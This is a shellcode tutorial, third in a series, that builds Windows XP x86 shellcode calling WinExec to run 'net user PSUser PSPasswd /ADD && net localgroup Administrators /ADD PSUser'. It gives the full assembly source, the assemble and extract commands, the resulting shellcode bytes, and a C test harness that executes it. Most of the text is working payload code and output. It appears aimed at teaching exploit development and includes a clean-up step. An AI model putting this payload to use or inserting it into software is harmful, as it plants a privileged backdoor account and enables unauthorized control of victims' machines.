Shellcode Tutorial 3: Windows Command Execution Shellcode


Introduction

This tutorial is simply an extension of the first tutorial; however, instead of creating shellcode that simply sleeps for five seconds, it calls the WinExec function to create a new administrative user on the victim system. This tutorial also teaches you how to define and locate string constants. In this case the command string that you want to execute. We will also exit the process cleanly so that a core dump is not created.

Some of this tutorial was based on information pulled from http://www.vividmachines.com/shellcode/shellcode.html.


Our Aim

The aim of our shellcode will be to locate our command string and execute it via WinExec to create a local administrative user on the victim system. Be warned that this tutorial will create an administrative account on your system, so remember to remove it else you may find you get hacked through it.


What functions do we need, and where are they?

From programming experience (or at least by Googling), we know that to execute a command on a Windows system we need to call WinExec, and to exit a process cleanly we need to call ExitProcess. Both of these are found in Kernel32.dll.

We will use arwin, as we did in the previous tutorial, to locate the addresses of these functions. This can be performed as shown below:

    $ ./arwin.exe Kernel32.dll WinExec
    arwin - win32 address resolution program - by steve hanna - v.01
    WinExec is located at 0x7c8615b5 in Kernel32.dll

    $ ./arwin.exe Kernel32.dll ExitProcess
    arwin - win32 address resolution program - by steve hanna - v.01
    ExitProcess is located at 0x7c81ca82 in Kernel32.dll

The addresses that you get may be different to mine depending on Operating System and Service Pack. I am using Windows XP SP2. This means that your shellcode will only work on the same Operating System and Service Pack that you are using since we are hardcoding the memory address of the function. This may even vary based on which patches you have installed. There are more advanced techniques that can be used to dynamically locate Kernel32.dll and the function addresses; however, that will be covered in a later tutorial.


Defining and locating string constants

The following is the string constant that we want to define in our shellcode, which is the command we are going to execute to create a user called "PSUser" with a password of "PSPasswd":

    'cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser'

The following snippet of code demonstrates how we define a string constant at the end of our code, and locate the string at the top;

+--------------- [snip] ---------------+

        jmp short GetCommand;Jump to where our string is located ("GetCommand" label below)
    CommandReturn:;Create a label we can call to return here.
        pop ebx;the "call" operation below has pushed its return address onto the stack, which we have designed to point to our string - so pop the address of the string off the stack and into ebx.
;At this point, ebx points to our string.

+--------------- [snip] ---------------+

    GetCommand: ;Create the "GetCommand" label where our string is located
        call CommandReturn ;"call" is like jump, but also pushes the return address (next instruction after call) onto the stack. Since our string is defined immediately after this instruction, the return address points to the address of our string.
        db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser" ;Write the raw bytes into the shellcode that represent our string.
        db 0x00 ;Terminate our string with a null character.

+--------------- [snip] ---------------+


The Assembly Code

The following is the code for adduser.asm, which was originally pulled from http://www.vividmachines.com/shellcode/shellcode.html, with very slight modifications and comments.

Create adduser.asm on your local system within your Cygwin shellcode directory using the following code. Make sure you read the comments throughout the code since they explain what action each line performs, and gives handy tips for later shellcode development. Remember to replace the address of "WinExec" and "ExitProcess" with the addresses that you enumerated above with arwin.

+----------------- Start adduser.asm -----------------+

;adduser.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand ;jump to the location of the command string
CommandReturn: ;Define a label to call so that string address is pushed onto stack
    pop ebx ;ebx now points to the string

    xor eax,eax ;empties out eax
    push eax ;push null onto stack as empty parameter value
    push ebx ;push the command string onto the stack
    mov ebx,0x7c8615b5 ;place address of WinExec into ebx
    call ebx ;call WinExec(path,showcode)

    xor eax,eax ;zero the register again to clear WinExec return value (return values are often returned into eax)
    push eax ;push null onto stack as empty parameter value
    mov ebx, 0x7c81ca82 ;place address of ExitProcess into ebx
    call ebx ;call ExitProcess(0);

GetCommand: ;Define label for location of command string
    call CommandReturn ;call the return label so the return address (location of string) is pushed onto stack
    db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser" ;Write the raw bytes into the shellcode that represent our string.
    db 0x00 ;Terminate our string with a null character.

+----------------- End adduser.asm -----------------+


Compiling the Assembly Code

So now that we have our shellcode written in assembly, we need to compile it. This can be done using the nasm assembly compiler, using the following command where adduser.asm is your assembly source code file, and adduser.bin is the compiled binary output file:

    # nasm -f bin -o adduser.bin adduser.asm


Obtaining the shellcode

Now that we have a compiled binary file we can use the xxd tool to generate the shellcode for us. This can be done using the following xxd command, which will generate the following output:

    # xxd -i adduser.bin
    unsigned char adduser_bin[] = {
     0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c,
     0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3,
     0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65,
     0x20, 0x2f, 0x63, 0x20, 0x6e, 0x65, 0x74, 0x20, 0x75, 0x73, 0x65, 0x72,
     0x20, 0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x20, 0x50, 0x53, 0x50, 0x61,
     0x73, 0x73, 0x77, 0x64, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20, 0x26, 0x26,
     0x20, 0x6e, 0x65, 0x74, 0x20, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x67, 0x72,
     0x6f, 0x75, 0x70, 0x20, 0x41, 0x64, 0x6d, 0x69, 0x6e, 0x69, 0x73, 0x74,
     0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x20, 0x2f, 0x41, 0x44, 0x44, 0x20,
     0x50, 0x53, 0x55, 0x73, 0x65, 0x72, 0x00
    };
    unsigned int adduser_bin_len = 115;

This creates an array of characters that can be used within a C program. Each of the hexadecimal numbers (0xXX) in the output represent a byte within the shellcode.

We are going to use the "xxd-shellcode.sh" script to strip out the raw shellcode that we can put directly into our "shellcodetest.c" program, as we did in the previous tutorial, as shown below:

    # ./xxd-shellcode.sh adduser.bin
    \xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00


Testing the shellcode

We will be using the "shellcodetest.c" program to test our shellcode. The aim of this step is to insert our shellcode into a C program, which we can then compile and execute. This program is designed to then execute our shellcode.

Before we can do this you need to insert your shellcode that was generated from the last step into this program. You place it between the quotes of the "code[]" array. It should end up looking something like the following:

+----------------- Start updated shellcodetest.c -----------------+

/*shellcodetest.c*/
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xb5\x15\x86\x7c\xff\xd3\x31\xc0\x50\xbb\x82\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65\x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72\x00";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

+----------------- End updated shellcodetest.c -----------------+

We now need to compile the updated shellcodetest.c program so that it can kick off our shellcode. This can be done with the following command:

    # gcc -o shellcodetest shellcodetest.c

This should create the executable program "shellcodetest.exe".

Before we run this program, we want to show the user accounts on your local system by running the following command:

    # net user
    (lists the local accounts on your system)

You should now be able to execute your shellcode via this test program. The shellcode is designed to add an administrative user onto your system called "PSUser", and then it should exit cleanly.

    # ./shellcodetest.exe
    The command completed successfully.
    (adds a user account)
    The command completed successfully.
    (adds the user account to the administrators group)
    (then exists cleanly)

We can now confirm that the account was created by running the "net user" command again, as shown below:

    # net user
    (lists the local accounts, now including "PSUser")


Clean Up

You should make sure that you remove this account from your system to ensure that it is not used to break into your system. This can be done using the following command:

    # net user PSUser /delete
    The command completed successfully.
    (deletes the "PSUser" account)


Congratulations!

You have just created your first piece of shellcode that defines and locates a string constant, and have used it to execute a command on a Windows system to create an administrative account.

Now lets start to get a little trickier!